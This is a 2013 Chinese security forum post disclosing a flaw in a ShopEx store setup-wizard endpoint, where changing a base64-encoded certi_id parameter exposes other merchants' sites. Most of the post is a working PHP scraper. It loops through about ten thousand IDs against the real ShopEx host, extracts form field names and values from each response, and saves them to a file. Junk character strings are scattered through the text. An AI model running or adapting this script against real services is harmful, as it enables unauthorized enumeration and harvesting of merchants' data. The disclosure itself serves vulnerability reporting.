找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2901|回复: 0
打印 上一主题 下一主题

ShopEx某接口缺陷可遍历所有用户网站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 15:59:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:* h, ]8 M" }9 B& R$ p9 K+ J
ShopEx某接口缺陷,可遍历所有网站
6 Q& Y1 N& O( F7 H* U详细说明:0 s5 |! `- E7 a$ M1 _. @+ ~0 |+ m
问题出现在shopex 网店使用向导页面 ; y. U5 |. S& c8 f! p
! T( n6 ]# Q$ x$ x: f* H$ d, b2 C

$ d$ q* E+ j% R) N
  p- W7 Z7 D4 x* o5 W1 m6 @2 A% uhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
2 L  P# C" l7 t; I$ Q8 b  L0 K6 T0 f8 ~: o
  y* l, Y' Y" r" l) C
% w1 C( Z3 g3 D' v2 W  ]
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}+ L9 a7 v1 J& n) s

" e3 m' V+ Q  c
1 ~  s& x3 z4 b' \% S2 ~7 Z. c# s6 ]1 B, F; A& K3 \8 y
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 ( g) J' r$ {0 e; X  I
7 [* R* H1 s+ f9 Q7 s7 t" |+ a

$ }2 m3 U5 G! T* X  L6 D. h! V4 s) @) x* I7 r
<?php
" j7 m& f4 v$ c  f! H% G. k* g9 W( m- G8 V8 M1 ]4 |6 g1 M
                for ($i=1; $i < 10000; $i++) { //遍历
$ b/ A4 B& M9 u3 T. m
. ?( f& U1 B7 \, y3 \0 ]. e                        ShowshopExD($i);8 n& K, ~( S4 _: |  G- u
4 E* u7 T+ {5 \  Q8 U; y4 l
                }( N' e2 m0 b- s; L( f& L0 W
- f, k, _) F3 I0 p  ]
                function ShowshopExD($cid) {
2 m4 `# Z# ?5 v; N' O# r  g) W4 u0 H+ O+ P! m. t4 C( \% c, U, Q
                $url='http://guide.ecos.shopex.cn/step2.php';
! I2 ^4 Y4 f7 K6 E. z% t5 i- R6 L- u+ y
, J6 e& r% N/ T1 E                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
. U& ?8 G: r. S0 e" x
, K1 B# A5 `; Y8 F        $url = $url.'?refer='.$refer;. i/ v7 N; W5 B, b6 Y. a( k

2 G. F. i0 Q, G6 I        $ch = curl_init($url);$ M, X! {4 k3 z. \8 ^" L

5 Y1 U$ O% l8 W( H! v1 ^        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;) u! a3 T0 z! `, `  ?. E. n' a% v

: q. q! z; Y9 s' T4 y        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
$ ?; ?2 ^* `& A) O! T4 e7 H& H8 i
        $result = curl_exec($ch);
) u. Q0 X2 p' H, T4 j: ], s; e' H5 ~2 i. }( w
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
) ^# v" J, v# O0 c4 K: d3 o- i
/ u; Y0 v& `/ f: r( {& M# ^7 L        if(strpos($result,$refer))) T$ E' T$ @! ^* `; Q6 p7 f
0 J0 V) m$ E- |* `
        {. E- M9 A. i" U+ J* ?- l5 Z

+ n9 p: g. V1 k( Q9 d8 o                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件7 ?7 ~: ?! {  r( H
1 J5 h: d3 V5 E) r  u& A
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);3 \/ v6 t; L9 a% [$ w0 o

5 A$ U. f6 R- a' Q0 W                foreach ($value[1] as $key) {# S7 e' b, q7 V+ F5 u4 ]

2 T0 b5 g, F4 `! \3 O6 n% F4 J                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);+ h8 E6 ]9 h/ A( \& M: r" M# O

( W8 \- N% ]3 N, y; t+ u& E                        echo $res[1][0].':'.$res[3][0]."\r\n";
$ E5 ~8 s) }5 D7 J. d! d3 N' @3 Q4 f$ d9 b2 V( A  l+ Z( s* U4 O
                        $col =$res[1][0].':'.$res[3][0]."\r\n"; 2 W( c# k, [% g0 O/ Q

+ J' ]  {- ~6 U4 h                        fwrite($fp, $col, strlen($col));
& a7 x  d: y, o2 w% C; b* V( W7 ]6 L; h5 b: E" Y/ B
                }" Y7 W& |: h' ]0 _  h

1 I& M/ u6 r: `! L% a3 C% R8 E                echo '--------------------------------'."\r\n";
' T& E: m; [8 `
: l& y8 K. ~4 w* F" s# H% |                fclose($fp);
6 L* m6 q& J4 ]: v! p4 `& w# S. F: g3 d
9 F" R! D; O0 l1 t: H        }
5 m* ]& J/ `3 `! f# l6 {6 B' `- I/ h
        flush();
$ s3 F: l) H' X
+ O# I4 {; K4 k        curl_close($ch);0 d# p5 b% Q2 E: F- E

; `& B' P, g/ V& ]                }2 J  }/ j0 D7 d7 N
6 e' W, m2 \# R9 f
?>
' b, x0 n7 X/ G漏洞证明:
% {& X# ]! p+ y" Z) \* Ahttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
/ _/ E/ t: X) ^( _# `( Z, _, q) }refer换成其他加密方式
) R1 S& r8 |2 w9 ?* E" G0 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表